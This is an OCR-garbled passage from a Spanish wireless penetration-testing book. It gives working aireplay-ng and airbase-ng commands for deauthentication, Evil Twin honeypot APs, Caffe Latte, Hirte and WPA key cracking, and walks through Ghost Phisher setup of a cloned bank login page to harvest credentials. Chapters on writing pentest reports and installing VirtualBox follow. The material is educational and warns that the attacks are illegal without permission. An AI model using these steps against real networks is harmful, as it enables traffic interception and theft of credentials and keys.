1: ah'Miu:ﬁm DeAuth. STMAC: [00:17:C4:19:85:46] [ 0] ©
11:23:38 mmn directsd Defuth. STHAC: [00:17:C4:19:85:48] [ 8| 0
M‘u Sending 64 directed DeAuth. STHAC: [00:17:C4:19:85:46) | 0| o
1{3;%40 ‘Sending B4 directed DeAuth. STHAC: [00:17:C4:19:85:48] [ 0] n
11:23:40 Sending 64 dim‘hd Dehuth. STHAC: tu.mmmmm [e) 8. 5

Si hay méas clientes conectados, puede enviar paquetes de desautenticacion de
difusién para desconectarlos de la red:

aireplay-ng —deauth @ -a BO:4E:26:1E:F6:36 mon®

"wmnw el aireplay D 0B17A:4C83:0C:ED mond
=-h B
35125 Waiving for baon frame (BSSIDI B :7A:dCE3:0C1E0) on uhlm-
3 ‘
i8: this attack ‘t:- M( u:“m‘mm-t“-:?u
Sanas Sonding Dasuth o Grasdcast .- BSSID: m:mmmu.n%'
. Sending DeAuth to mmm -~ BSSID: [08:7A:4C:B3:0C:EQ
Sending DeAuth to broadcast -- BSSID: [08:7A:4C:83:0C:E0]
‘ ' Sending DeAuth to | uﬁuﬂ ~» B5SID: Eﬂl?lﬂtsﬂ 0C1E0]
- | Sending DsAuth to broadesst -- BSSID: {08:7A:4C:83:0C:E0]
|23:28:28 Sending DeAuth to broadcast - BSSID: (08:7A:4C:83:0¢:€0]
23325 Sending | h to brosdcast -« mm: m:mﬂ:s :0C:ED]
 Sanding m to broadeast - : [68:7A:4C183:0C:€0)
Sending DeAuth to broadcast -- Iﬂlm [08:7A:4C123:0CE0)
Sending DeAuth to broadcast -- BSSID: |0B:7A:4C:83:0C:ED) 1
Sending DeAuth to broadcast -- BSSID: [08:7A:4C:83:0C:E0] \
Sending DeAuth to broadcast -- BSSID: [08:7A:4C:83:0C:E0]
Sending DeAuth to brosdcast -- BSSID: [08:7A:4C:83:0C:£0]

§ Sanding DeAuth to broadcast -- BSSID: [08:7A:4C:83:0C:E0]

En la siguiente captura de pantalla, puede ver que el cliente se ha vuelto a conectar,

esta vez con el AP Honeypot, lo que significa gue ha tenido éxito en el ataque:
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[T 1

m-- v i ootk -

Created tap atd o
mgu Trylwhmmmmnm - TSERY
Access Point with BSSID 1C:4B:D6:BB:14:08
11:30:18 Client 00:17:€4:19:85:46 associated (u

[W 2 :

En la siguiente seccion, verd cémo realizar ataques Man-In-The-Middle contra
clientes conectados a un AP Honeypot.

@ - Ataque Man-In-The-Midle 1D

Un atague Man-In-The-Middle (MITM) es un tipo de ataque donde un atacante
se interpone entre dos partes que se comunican, normalmente un cliente Y un
servidor, y transmite los mensajes intercambiados de forma transparente, haciendo
gue las partes crean que estan hablando directamente entre ellos.

En su caso, el ataque MITM es un AP de software Honeypot que estimula a los
clientes a conectarse a él, creyendo que es el legitimo. De esta forma, todo el
trafico de red enviado y recibido por el cliente pasa por el AP falso vy el atacante
puede olerlo y manipularlo, recuperar contrasefas e informacion sensible, vy alterar
datos o secuestrar sesiones.

Por ejemplo, el atacante puede espiar v (sniffear) husmear el trafico usando rastrea-
dores de red como tcpdump, Wireshark y Ettercap. Ettercap no solo es un sniffer
sino también una herramienta para lanzar ataques MITM que proporciona una GUI
y admite muchos protocolos de red. Para obtener mas informacion al respecto,
consulte los anexos, las referencias o la pagina del manual (man ettercap).

Los tipicos atagues MITM se realizan a través de la intoxicacién de caché ARP
la suplantacién de DNS y secuestro de sesién. Por ejemplo, con DNS spoofing,
el atacante puede redirigir a un usuario a un sitio web clonado y engafiarlo para
que ingrese sus credenciales.

Ademas, las sesiones cifradas de TLS pueden ser atacadas si el atacante
explota una vulnerabilidad como CVE-2014-0224 en OpenSSL
(https://cve.mitre.org/cgi-bin/cvename. cgi? Name = CVE-2014-0224) o presenta al
cliente un certificado falso que sea aceptado a pesar de las advertencias mostradas
por el navegador del cliente.
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Para que el AP Honeypot actle como router entre los clientes inalambricos v la
red cableada o Internet, debe crear una interfaz puente y habilitar el reenvio de
IP. siguiendo el mismo procedimiento descrito en el capitulo 8, «Atague de APy
la infraestructura», para configurar un AP no autorizado.

Kali Linux proporciona muchas herramientas para realizar atagues MITM, como
arpspoof, dnsspoof, ettercap, burp suite, urlsnarf, driftnet y webmitm.

También hay un programa grafico todo en uno para ataques MITM, que ya esta
incluido en Kali Linux, Ghost Phisher.

1221 Ghost Phisher

Ghost Phisher es un programa GUI, escrito en Python y que ofrece varias caracte-
risticas para realizar ataques MITM, incluida la configuracién de un AP Honeypot
y servicios de red falsos (HTTP, DNS y DHCP), secuestro de sesion, envenena-
miento ARP v captura de contrasenas.

El programa es sencillo e intuitivo. Para iniciarlo, ejecute el comando ghost-phi-
sher €N una terminal. La ventana del programa se divide en diferentes pestanas,
cada una para una funcién diferente, donde cada pestaria incluye una seccion de
configuracién en la parte superior y una seccién de estado en la parte inferior.

Para realizar un ataque MITM, puede ejecutar los siguientes pasos:

1. La primera ventana de pestafias es relativa a la configuracion del AP falso.
En la seccion Interfaz inaldmbrica, puede seleccionar la interfaz gue quiere
usary, luego, ponerla en modo monitor haciendo clic en el boton Establecer

monitor, como se muestra en la siguiente imagen:

s aew knsemy

vt liptace: wiacel Mo Addrens 208 (0 0438 2200 e AT
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2. En'fa seccién Configuracion del AP, asigne al SSID una direccion |P privada
valida (por ejemplo, 192.168.0.1), el Canal y el Tipo de cifrado al AP Honeypot.

Luego, haga clic en el botén Inicio y se estard ejecutando el AP, ya gue el panel
de Estado mostrara lo siguiente:
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3. Inicie el servidor DHCP falso con un rango de asignacion de IP de red clase C
(en su caso, 192.168.0.2 a 192.168.0.254), configure la IP del AP (192.168.0.1)
como la puerta de enlace y el servidor DNS falso. Por lo tanto, cuando un
cliente se conecta al AP, se le asigna una direccion IP en este rango.

s
LRSI b NG Vorions | il o vt | B WL Savwr MU T s i I achinng | AP (ot bnsonig  ISovidtint e, st

Ehaned | S | Paag dskiryas, ) (4L

™. T e Cond

Charms ielaiorn: s M AT O3 £ T et S [ ST

e

4. Configure un servidor HTTP falso que usard para alojar una pagina clonada de
un sitio web legitimo, en el gue el cliente tiene Iz intencidn de iniciar sesion,
por ejemplo, para acceder a su cuenta bancaria en linea. En este caso, puede
especificar la pagina web que se mostrara al cliente cuando visite un sitio
ficticio www.exampleonlinebank.com.
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5. Luego, es el momento de que el falso servidor DNS resuelva las consultas del
cliente para este dominio, en particular a la direccion IP de su AP.
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6. Al hacer clic en el botén Agregar, la direccion IP del AP falso (192.168.0.1)
se utiliza para resolver el dominio de destino www.exampleonlinebank.com.
También podria agregar otros dominios de destino que se resolveran en
esta direccién IP, asi como a las direcciones IP de los hosts controlados por
el atacante.
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Capitulog
Ataque a clientes inalambricos

7. Cuando el cliente se conecta al sitic web anterior, se le presenta una pagina
de inicio de sesion falsa, que se asemeja a la del sitio legitimo:

8. Las credenciales ingresadas por el usuario son tomadas por el servidor HTTP
falso y se muestran en la ventana de la pestafia Credenciales recolectadas,
como puede ver en la siguiente captura de pantalla:

-
Rt dsmss Pt e DM Servat b D400 rvis T T ivem ST W Sasair e | A7 Eatin estinnl | orovetid Gosemion Abel

i P e
§ s eepi it e T e

Sy Cangm - e

Las credenciales recolectadas se almacenan en una base de datos SQLite en /
usr / share / ghost-phisher / Ghost-Phisher-Database.

Otro ejemplo de este ataque pedria ser configurar una pagina de autenticacion
falsa para el panel de administracion web de AP real, de modo gue un adminis-
trador de red que se conecta al AP falso se redirija a esta pagina y revele las
credenciales de autenticacion.

Vale la pena subrayar que estos ataques, asi como todos los ataques descritos
en el libro, json ilegales! si se llevan a cabo sin el permiso escrito y explicito del
propietario de la red.

@ - Ataque Caffe Latte D

En el capitulo 6 «Cracking WEP» se explico cémo descifrar las claves WEP cuando
el cliente estd conectado al AP: se inyectaban paquetes de solicitud ARP y se
capturaba el trafico generado para recolectar un ndmero suficiente de IV para
lanzar un ataque estadistico y descifrar la clave.
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Dos investigadores de seguridad inalambrica, Vivek Ramachandran y el MD Sohail
Ahmad, presentaron un nuevo ataque llamado Caffe Latte en la conferencia
Toorcon 2007 que le permite recuperar la clave WEP de un cliente incluso cuando
no esta conectado y se encuentra lejos de la red.

detalles sobre el ataque de Caffe Latte, consulte los enlaces proporcionados en |
el anexo «Referencias. |‘H“'

Ahora que ha visto la teorfa del ataque, puede ver cémo realizarlo con el paguete | .|
aircrack-ng, especificamente con airbase-ng. \‘!ﬂ'ﬂ:
il

El ataque recibié este nombre porque los autores demostraron que el tiempo
requerido para completarlo es (casi) tan breve como tomar una taza de café en una

Ponga su interfaz en modo monitor y ejecute airedump-ng mone para detectar las n

cafeteria 0 en un restaurante (jdos ubicaciones clasicas para este tipo de ataque!).

Para realizar el ataque, debe inducir al cliente aislado a generar suficientes
paquetes de datos WEP cifrados. Los sistemas operativos como Windows alma-
cenan en caché las claves compartidas WEP junto con los detalles de red relativos
en la PNL (Preferred Network List «Lista de redes preferidas») para conectarse
automaticamente a dichas redes.

El cliente envia tramas probe requests para las redes en su PNL. Si offatea estas
probe requests, puede determinar el SSID de la red y configurar un AP falso con
el mismo SSID, devolviendo una trama probe response al cliente. El cliente se
asocia con este AP incluso si este Ultimo no conoce la clave, ya que el protocolo
WEP no espera que el AP se autentique con el cliente.

Una vez que el cliente esta asociado, se le asigna una direccion IP de forma esta-
tica o dindmica con DHCP. Si un servidor DHCP no esta presente o no responde,
Windows le asigna al cliente una direccion IP del rango de subnet 169.254.0.0/16.
El cliente comienza a enviar algunos paquetes ARP gratuitos, que obviamente
estan encriptados con la clave WEP. Para descifrar la clave, debe obligar al cliente
a enviar estos paguetes continuamente, hasta que recopile el nimero necesario
(aproximadamente 80 000 para el ataque de PTW). Una técnica para hacerlo seria
eliminar la autenticacion del cliente repetidamente, pero tomaria bastante tiempo.

tramas probe requests para redes que no estan dentro del alcance. Puede ver Ll

estas tramas en la parte inferior derecha de Ia salida airodump-ng.
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Una vez que se identifica el SSID de la red objetivo, configure un AP falso con el
mismo SSID usando el siguiente comando:

airbase-ng -c 1 -e Target_Network -F coffee -L -W 1 mon®
Donde:

-1 es para el ataque de Caffe Latte.
-w 1 le permite especificar el protocolo WEP en las tramas de baliza.

. . : y -F escribe los paquetes capturados en el v [
El ataque Caffe Latte ofrece una solucién mas eficiente para capturar estos - P ST Reperilieado:

. paquetes ARP gratuitos y girar (flipping) los bits apropiados para modificar las
direcciones MAC e IP del remitente, que se encuentran en posiciones fijas dentro
de los paquetes.

1 e ot e el %
A e

Los ARP gratuitos se transforman asf en solicitudes ARP que se envian continua- ‘""* e
; ) . ; foctiilii-# sirbase-ng -c 1 -e Target _Metwork -F coffee -L -W 1 mond
mente al cliente. Esto es posible porque la integridad de los paquetes WEP no 10128152  Craated tap ntacfese otb
' esta criptograficamente protegida v el atacante puede modificar la carga Util y el
E CRC en consecuencia para crear un paquete cifrado adn valido.

Cuando el cliente se conecta al AP falso y comienza a enviar los ARP gratuitos,
airbase-ng inicia el ataque de Caffe Latte.

01:28:52 Trylng to set BTU on at® te 1500

81:28:52 Access Polnt with BSSID 00:C0:CA:59(E31D0 started.

Errar: Got channel -1, expected a value » 0.

’_n'mma Client 00:17:C4:19:85:46 sssociated (WEP) to ESSID: "Target Network

‘ihnt“ Starting Caffe-Latte attack against 80:17:C4:18:85:46 ar 180 pps.

De esta forma, el cliente respondera a estas solicitudes ARP y generard trafico
rapidamente, acelerando el proceso de descifrado de clave. Para obtener mas e e e e e T i e e
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Cuando haya recopilado una cantidad suficiente de paguetes, puede ejecutar
aircrack-ng para descifrar la clave WEP:

aircrack-ng -e Target_Network coffee-@l.cap

Actualmente, se desarrolld una optimizacién del ataque Caffe Latte, el
atague Hirte.

@ - Ataque Hirte g

El atague Hirte extiende el atague Caffe Latte en el sentido de gue tambiéen
permite el uso de cualquier paguete IP y no solo de paquetes ARP gratuitos reci-
bidos del cliente.

Al realizar bit-flipping attack (atague de giro de bit) a estos paguetes, se generan
las solicitudes ARP para enviarlas de vuelta al cliente. Luego, se realiza el ataque.
Otra diferencia con Caffe Latte es que Hirte también utiliza la fragmentacion de
paquetes para enviar solicitudes ARP al cliente.

Se pueden encontrar mas detalles técnicos sobre este ataque en la Wiki de
Aircrack-ng en http://www.aircrack-ng.org/doku.php?id=hirte.

En la practica, lanzar el ataque Hirte es casi idéntico al lanzamiento del ataque
Caffe Latte; la Unica diferencia es el uso de la opcién -u, especifica para este
ataque, en lugar de la opcion -1

airbase-ng -¢ 1 -e Target_Network -F hirte -N -W 1 mon@

channel -1, sxpected a va
81:43;39  Client 00:17:€4119:85:46 asso

ilﬂ}ln Starting Wirte attack egainst 08:17:C410:85:146 at 100 pps.

Para aquellos que prefieren usar una herramienta grafica y automatizada, tanto
los ataques Caffe Latte como Hirte se pueden realizar con Fern WiFi Cracker,

que va se explico en el capitulo 6 «Cracking WEP».

Capitulo g
Ataque a clientes inalambricos

Estos ataques representan una razén mas (si es necesario) para dejar de usar el
protocolo WEP y adoptar WPA2, aunque este Ultimo puede estar sujeto a un
tipo similar de atague.

{ 95 Cracking de las claves del WPA sin el AP )

Los ataques de Caffe Latte y Hirte le permiten descifrar E clave WEP en ausencia
del AP objetivo y atacando al cliente desconectado.

En esta seccion, vera que también es posible descifrar una clave WPA, estando
en la misma situacion.

En el capitulo 7 «Cracking del WPA / WPA2», se explicd que, para descifrar una
clave WPA, debe capturar un handshake de cuatro vias WPA para recuperar todos
los pardmetros necesarios para ejecutar el proceso de cracking: el ANonce, el
SNonce, el cliente, las direcciones MAC de AP y el MIC (Comprobacién de inte-
gridad de mensajes).

Vale |a pena sefialar que no es necesario completar el handshake de cuatro vias,
ya que todos estos pardmetros se intercambian en los primeros dos paguetes y
el AP no necesita conocer la PSK (clave previamente compartida), como puede
ver en el siguiente diagrama:

Cliente AP
///,.\\,\\-

‘\\\ ///.
L /

PMK

"

i «———— ANonce —0—

I Cliente construye PTK |

: e— Snonce + MIC ———

| AP construye PTK—I

é*—GTK-rMIC—e—é

o— ACK (confirmacién) —»

Por lo tanto, puede configurar un AP Honeypot con el protocolo WPA v el mismo
SSID de la red objetivo con el siguiente comando:

‘| |‘|||
!!‘!““";
’

(i}
{11
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airbase-ng -c 1 -e Target_Network -F wpa -z 2 -W 1 mon®
Aqul, la opcién -z significa WPA y el valor 2 para el cifrado TKIP.
Si quisiera configurar un AP WPA2-CCMP, el comando hubiera sido el siguiente:

airbase-ng -¢ 1 -e Target_Network -F wpa -Z 4 -W 1 mon®
De hecho, la opcién -z significa WPAZ2 vy 4 el cifrado CCMP.

Después de haber recopilado los parametros de handshake, siga el mismo proce-
dimiento descrito en el capitulo 7 «Cracking del WPA / WPA2» para descifrar la

clave con aircrack-ng.

Claramente, este ataque ofrece una oportunidad mas de descifrar una clave
WPA, ya que esta dirigida a clientes aislados y no necesita capturar un verdadero
handshake de cuatro vias con el AP.

Descifrar una clave WPA no suele ser tan facil como descifrar una clave WEP,
pero podria ser mas sencillo si se utiliza una PSK (clave previamente compartida)
débil: por lo tanto: jEs muy importante usar una clave WPA fuerte!

GRS Resumen NRETRIESINGIED

En este capitulo se analizé los ataques méas comunes contra clientes inaldmbricos
v se explicé como configurar un AP Honeypot que se hace pasar por uno legitimo
e induce a los clientes a conectarse a él (ataque Evil Twin). También se explico los
ataques MITM contra clientes conectados vy los atagues para recuperar las claves
WPA v WEP (ataques Caffe Latte y Hirte) cuando el cliente est aislado de la red.

Fl siguiente capitulo tratara la elaboracion de informes, gue mostraré como escribir
informes inteligentes y efectivos de su prueba de penetracion

Capitulo 10

Informes y
conclusiones

Por el momento, se han visto las fases de planificacién, descubrimiento y ataque
de las pruebas de penetracién inaldmbrica. Todas estas fases son igualmente
importantes para lograr resultados precisos y confiables, pero deben completarse
con la fase final, que es la fase del informe. En esta fase, toda la informacion vy
los hallazgos que surgieron de la prueba de penetracion se recopilan y describen
en un informe que se enviara al cliente.

Los temas gue verd en este capitulo son los siguientes:
Las cuatro etapas de redaccion de informes.
« El formato del informe.

En la siguiente seccidn, se analizard el proceso de planificacion v redaccion de
un informe profesional.

10.1 Las cuatro etapas
de redaccion de informes

La fase de informe a menudo se subestima en su importancia y se considera
como la parte aburrida, aunque necesaria, de una prueba de penetracion. Por
supuesto, las fases de descubrimiento y atague son el ntcleo y las partes mas
emocionantes, ya gue es cuando las habilidades técnicas del pentester se aplican

|||
ww
'|\|'“|\‘
” |\|'|
||||||J |
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en la préctica. Los evaluadores de penetracion pueden ser muy habiles y hacer de penetracién contiene informacion critica que podria usarse para atacar la red i
un excelente trabajo, pero si de alguna manera no pueden comunicar sus logros y los sistemas de la organizacidn si cae en las manos equivocadas. V“

al cliente de manera efectiva, su trabajo es (al menaos en parte) en vano.

. Escribir buenos informes es una habilidad necesaria, casi un arte, para los evalua- B2 R lacion de i oy ” ||.
dores de penetracidn. Y como todas las habilidades, se puede mejorar a través 1.2 Recopilacion de informacion |i ‘
de la practica. T . - [ i
P En la etapa de recopilacion de informacion, se compilan todos los resultados v i!‘[
El proceso de redaccién de un informe de prueba de penetracion profesional hallazgos resultantes de las fases de prueba de penetracion previas. “i‘ 'i:”
consta de cuatro etapas: ) , _ o
‘ | \ P Durante la prueba de penetracion, es esencial registrar y documentar los resul- I
- | ‘ + Informe de planificacién. tados de la exploracion de red y la evaluacion de vulnerabilidad, las herramientas ﬂ'l‘ \
— o ; y los procedimientos utilizados, y tomar capturas de pantalla significativas de las At
e 5 S - S : ||"“
Recopilacién de informacion actividades implementadas. ‘;‘H‘ i||!
. I

+ Escribir el primer borrador. Al usar una herramienta de linea de comandos, es una buena practica guardar la | I"”

e Revisién y finalizacién. salida en un archivo. Por ejemplo, tanto airodump-ng como Kismet, utilizados en .:|“|
la fase de descubrimiento, tienen opciones para guardar las salidas en formatos .|' \

legibles de texto, como, por ejemplo, CSV y XML.

2,
o

= 1 1011 Planificacién de informes .
: De hgcho, documentar todos los pasos también es importante porque deben ser
repetibles por otros probadores de penetracion o, eventualmente, por el propio ‘

En la primera etapa, la planificacién del informe, se definen los objetivos, el publico !
personal de Tl del cliente.

objetivo y los contenidos del informe, asi como el tiempo estimado que va a

dedicar a su redaccion. Definir los objetivos significa explicar por qué se realizé (

la prueba v los beneficios que se derivaran de ella, lo que ayuda al evaluador de , . |

penetracion v al cliente a centrarse en los puntos mas importantes. El pdablico | B1013 Herramientas de documentacion i ‘

zbjetlvo de‘! mfgrme generalmerjte estd formado por la gerencia y los ejeguhvos Hay algunas herramientas disponibles en Kali Linux que le ayudan a tomar notas |
e la organizacion o de la empresa, los gerentes y el personal de tecnologia de la v documentar los pasos d ba d . |

informacion (T1), pero particularmente el equipo de Seguridad de la informacion, pasksTeiling Pricos 6 Penetaeig. M“

en caso que la organizacién tuviera uno. Dependiendo del tipo de audiencia, el ‘ ‘

Uno es KeepNote, un programa multiplataforma escrito en Python, que admite \‘ !““H ‘
organizaciones jerarquicas para notas, formateo de texto enriguecido y para “”‘ 0

disefio vy el contenido del informe se pueden dividir en dos partes principales:
el resumen ejecutivo v el informe técnico. Ambos se veran mas adelante en la archivos adjuntos. |
|

seccién 10.2. «El formato del informe. La siguiente imagen es una captura de pantalla del programa: i.::- ‘
(I

. Definir la audiencia también implica definir la clasificacion vy la distribucion del |
' informe. La clasificacion de un documento, en términos generales, establece su H -
nivel de confidencialidad y, por lo tanto, las personas gue pueden leerlo. 1 |‘;;}"

L3 distribucion trata de como entregarlo a las personas correctas y de manera
segura. Por ejemplo, si tiene que enviar el informe por correo electronico, seria i

\ recomendable enviarlo dentro de un mensaje cifrado, utilizando herramientas
publicas de cifrado, como, por ejemplo, GnuPGP. De hecho, un informe de prueba | h‘
i
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Otra herramienta de documentacién Util es Dradis, un framework de codigo
abierto para la colaboracién y el intercambio de informacién dedicado a las evalua-
ciones de seguridad. Dradis es una aplicacién web auténoma gue proporciona
un repositorio centralizado de informacion gue es particularmente Uil cuando
las pruebas de penetracion son ejecutadas por un equipo.

Para ejecutar Dradis, desde el mend de la aplicacién, navegue a Kali
Linux | Herramientas de informes | Documentacién | Dradis.

Se inicia el servicio relativo vy se abre una ventana del navegador que se conecta
ala URL https: // localhost: 3000, donde 3 000 es el puerto predeterminado en
el que el servidor web Dradis esta escuchando. Cuando ejecute el programa por
primera vez, es necesario configurar la contrasefia que usara para posteriores

inicios de sesion.

=y [=na
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|  Dradls Community Editlon - Mezila Firefer o6 e
| L Problem loadingpage  » | Dradis Community Edimion x| 4+ E
& ©127.00.1 00seruy i : L e | -,..'-,;_'.;.u. . < & e ; ® o‘ =
1 Most Ve Il Offensive Secermy S, Kaii Uinte S\ Kall Docs W, Ksli Taols & Explon-DB Wy Airerack-ng Kot Farums S\ Netiunter »|

Configure the shared password

| Fold your hoisss
‘ This server does not have a password yet, please set up one:
‘ Password | assasas

Confirn Password | :-.-.:. A

Sel password and continue

A

Cuando inicie sesion, se le muestra una interfaz y tendr4 elegir un nombre de
usuario para la aplicacion.

Dradis Community Edition |
All done. May the fnilitgs:for this project be -:;}Hnﬁu\-‘ <l
Login IuL._hn ‘

Pagsword | sssnces

| Letmein! |

Al entrar, se muestra la siguiente interfaz:

Dradis CE Q &upladoupuromtonl  [BExportesuis  @conlguration Pe Bi-

Project summary

Methodology
progress

Issues so far

i Nodes

There are o 1ssues in this
project yet.

+ Add new & Upload
issue output from
tool

There are no methodologies in
this project yet.

+ Add a testing methodology
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Al seleccionar Agregar un nuevo issue, se muestra un asistente como el de la
siguiente figura:

[Bexportresulis  Qeconfiguration: P= a-

| Dradis CE Q & upload output fram mal

Ll Summary of Issues R . i
This project doesn't have any
LS *  issuesyet
Here are some ways 10 add new Issues:
Import issues v
1 2. Impaort 3. Upload
Manually from & the output
add a library of a tool
finding
gefare you usethe 3
Just click on can (mpart Upload cutpit
the + sign findings frem {rom 1ot link
next ta the an external atthe top of
Issues library, you the page.
heading In the may have ta |

N P S — B R

Dradis también puede generar informes simples en formatos HTML y Word que
se pueden usar para escribir el informe completo.

Para funciones de informes mas avanzadas, hay disponible una version profe-
sional de Dradis.

Los usuarios de Linux, que generalmente se utilizan para herramientas basadas
en terminales, pueden encontrarlo cémodo usando editores como Vim o Emacs
y escribiendo documentacion en lenguajes de marcado de texto plano como
Markdown o reStructuredText. Estos lenguajes de marcado proporcionan una
forma facil de usar, limpia y de formato independiente para producir documentos
que se pueden exportar facilmente en diferentes formatos, incluidos, por ejemplo,

PDF y HTML.

§ 1014 Escribir el primer borrador

Después de recopilar la informacion de las fases de descubrimiento y atague,
el préximo paso es escribir el primer borrador del informe. En esta etapa, se
organiza toda la informacion recopilada de forma estructurada y se describen
los pasos realizados durante la prueba de penetracidn. La redaccion del informe
debe seguir un formato especifico, como vera mas adelante en este capitulo. El
primer borrador de escritura generalmente toma alrededor del sesenta por ciento

de todo el tiempo de redaccion del informe.

Capitulo 10
Informes y conclusiones

#1015 Revisién y finalizacion

La e_tapa final, revisién y finalizacion, consiste en verificar el informe para corregir
pos;bles.etrrores 0 imprecisiones, y editarlo profesionalmente para cumplir con
los requiisitos v las normas del cliente.

|S| el rrjfgrme ha sido esc_rito por un solo probador de penetracion, se recomienda
a revision p_o’r pares; mientras que, si ha sido escrito por un equipo de pruebas
de penetracion, todos los miembros del equipo deben revisarlo.

@ :0: Elformato delinforme JIIED

En estg seccion se describe un formato tipico utilizado para producir informes
profesionales de pruebas de penetracion.

|Anteside escribir el informe, debe elegir el aspecto del documento: las fuentes y
0s colores para los titulos v el texto, los margenes, el contenid .
. 5 P , : o del
y pie de pagina, etc. e

Un informe generalmente comienza con una pagina de portada que contiene el
nombre y Iq version del informe, la fecha, el fabricante del servicio y los nombres
de Ig organizacion. El fabricante de servicios es el probador de penetracion o el
equipo de pruebas de penetracion. En este Ultimo caso, es una buena practica
incluir el nombre de todos los miembros del equipo.

C[j)espues gle la pagina de portada, si el informe es extenso, debe incluir una tabla
e contenido para enumerar todas las secciones con los nimeros de pagina.

El antenldq dgl informe se puede agrupar, como vio anteriormente, en dos
secciones principales: el resumen ejecutivo y el informe técnico.

§:021 Elresumen ejecutivo

El r?sumgn ejecutivo, como su nombre indica, esta destinado a la administracién
0 a los ejecutivos de la organizacion del cli ' i

: cliente, es decir; es para una au i
no técnica. ’ enee

E[bresgmen debe ser una descripcion general de alto nivel y concisa del alcance, los
objetivos vy los r‘esultados de la prueba de penetracion, expresada en un lenguaje
claro y debe evitar el uso excesivo de tecnicismos.

|
f'H
#l
H |
:i||||||i|'||!”'i' ‘
I}H\W“ ;
||i||!||||'||.‘
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No es necesario que mencione las herramientas y las técnicas utilizadas, sino que
deberia centrarse en los resultados y establecer si las redes probadas son seguras
0 no; debe describir como la seguridad, es decir, la confidencialidad, integridad y
disponibilidad de la informacion, se ve afectada por los problemas encontrados
y lo que se debe hacer para solucionarlos.

De hecho, los ejecutivos estan mucho més interesados en el impacto que las vulne-
rabilidades podrian tener en sus negocios que en aprender sus detalles técnicos.

i 022 Elinforme técnico

El informe técnico esta dirigido a los gerentes vy al personal de Tl (generalmente
administradores de redes v sistemas), y a los gerentes y analistas de seguridad de
la informacion, en caso que la organizacion tuviera a esos profesionales.

La seccion de informe técnico comienza, generalmente, con una descripcion
de la metodologia adoptada para realizar las pruebas, que podria incluir, entre
otros, las certificaciones propiedad de los probadores de penetracion, el tipo de
software utilizado (comercial o de codigo abierto) y como se calculd la califica-
cion de riesgo de las vulnerabilidades. Por ejemplo, un estandar libre y abierto
para evaluar la gravedad de una vulnerabilidad es el Sistema de puntuacion de
vulnerabilidad comun (CVSS).

Siguiendo la seccién de metodologia, un informe de prueba de penetracion
inalambrica incluye tipicamente una lista completa de redes vy clientes detec-
tados, un resumen de las vulnerabilidades detectadas agrupadas por gravedad y
una descripcion detallada de cada vulnerabilidad.

WEREIEE Resumen [EIRERIIGRCIED

En este capitulo final se describieron las fases que debe tener en cuenta cuando
se disponga a redactar un informe después del pentesting. Se detallaron cuatro
fases y el formato que debe tener.

ANexo 1

Instalacion de
VirtualBox

@ Descargar e instalar Virtual Box JIIID

Virtual[?ﬁox esta disponible en https://virtualbox.org como un paquete de software
de codigo abierto distribuido bajo GPL (Licencia Publica General de GNU),

Realice las siguientes instrucciones paso a paso:

1. Navegue a la pagina principal de VirtualBox escribiendo https://virtualbox.
org y haga clic en la version que estd vigente (a la fecha de escribir este libro
esla 5.2).

| Welcome to VirtualBox.org!

) me] isa pnw_arml ,136 and AMDS4/Intela lnrmaﬂndnrl‘ preduct for enterprise as well a5 hame use, Not only is VirtualSos an
! extramely feature rich, high performance product for entarprise customers, it is also the only professional solution that is fresly
Scraanshats av'.a_niinla 32 Dpen Soures Software undar the berms of the GNU General Public License [GPL) version 2. Ses "ABout virtuzlBay® for
] an introduction.
Drwntoads
Presently, VirtualBox rung on Windows, Linux, Macitosh, and Solans hosts and supports 3 larg
| ' N 5 ge number of guest speratin
aystms including but not imited to Windows (NT 4.0, 2000, XP, Servar 2003, Vista, Windows 7, Windaws 8, wlnmas m]g
End-uger docs | DOS/Windows 3.x, Linux (2.4, 2.6, 3.x and 4.x), Solans and Openselans, 05/2, and OpenBSD. £

Bocumentation

|
Tachnical decs
ACNNIEal eSS vircualBox s baing activaly devaloped with frequent re2ases and has an sver growing list of faaturss, supported guest operatng
Conlriblite systems and platforms it runs on. VirtuaiBox s a community effert backed by a dedicsted COMPany: everyone is encouraged o
| centributs while Oracie ensures the product slways meets professional guality crivarfz, {

Dgwnload,_ =

Community

f
|u.‘ |
|||“"'|||

Il |

|
| |
\||\|!|||‘ |
Il
mn\h\-‘
;w
il
I

bl
»'\'H



Hacking & cracking - Redes inalambricas wifi PR
Luis Angulo Aguirre . : b <
j Instalacion de VirtualBox

2. Elija el sistema operativo que tiene instalado su equipo y que usara como En las siguientes pantallas, ejecute el asistente de instalacién para su sistema
sistema operativo host en el que ejecutara Kali Linux. Hay cuatro opciones: operativo, aceptando, generalmente, los valores predeterminados cuando
Windows, OS X, Linux y Solaris. Lo mas comun es que tenga Windows. se le salicite. Cualquier cambio en la configuracién se notara a medida que

instale Kali en el entorno virtual. Luego, asigne los recursos del host local al

entorno virtual.

Haga clic en Next.

. Download VirtualBox T T T — =

Abaut i Here you will find inks te virmuzlBox binarias and its source cods.

au

Scraenshots | Wi i i L v.:e|COlTle to the Oracle VM
rtualBox binaries = ® VirtualBox 5.2.8 Setup Wizard

Dewrloads By downleading, you agres to the terms and conditions of the respective beense.

If you're looking for the [stest virtualBox 5.1 packages, see VircualBox 5.1 builds. Consider upgrading, [ 4 ‘::y'-;ﬂmp ?&?&?mexééia
Setup \izard,

Documeantstion

End-user docs !
Tachnical docs VirtualBox 6.2.8 platiorm packages |

contributa .

| ® (705 X hosts
Communt z
L ® Linux distriuitions

{ & CiSolaris hosta

‘ The binaries are released under the tarms of the GPL versicn 2,

3. Elija la opcidon Save file, v se descargara el archivo instalador que tiene un
peso de 108 MB. LR

[ Gpening VituolBor-528-21008 Winere X | 6. Haga clic en Next.

You have chosen to open: A 1 e
S Oracle VM VirualBox 5.2.2 Setup
[} VirtualBox-5.2.8-121009-Win.exe
I Custom Setup
which is: Binary File (108 ME) Selact the way you went features to b mstaled,
from: https://download.virtualbox.org TR IY: e e

j i Chck on the icons in the tres beker o change the way features vil be instalied.
Would you like to save this file? bl s
Orade VM VirtuaiBox 5, 2.8
soolication.
A i S L e LV L M SRS P L YA, T St 1L O L o &3 - | VirtugBox Netviorking
o g | irtual
| ‘ %i This feature requires 33868 on your
-~ v] VirualBox Host-C
hard drive. Ithas 3 of 3
i@+ | Vrniox Pythan 2.x 5 s : :

4. Haga doble clic sobre el archivo descargado vy, en la ventana que aparece, ) ‘
elija Ejecutar. ! ESR—— ?]

C:'Program Flles\Orads \irtualiian)

e e

Advertencia de seguridad de Abrir archive X | i D L TTAr
5.2 { ] [[ehek i

(Desea ejecutar este archivo?

!
|
!

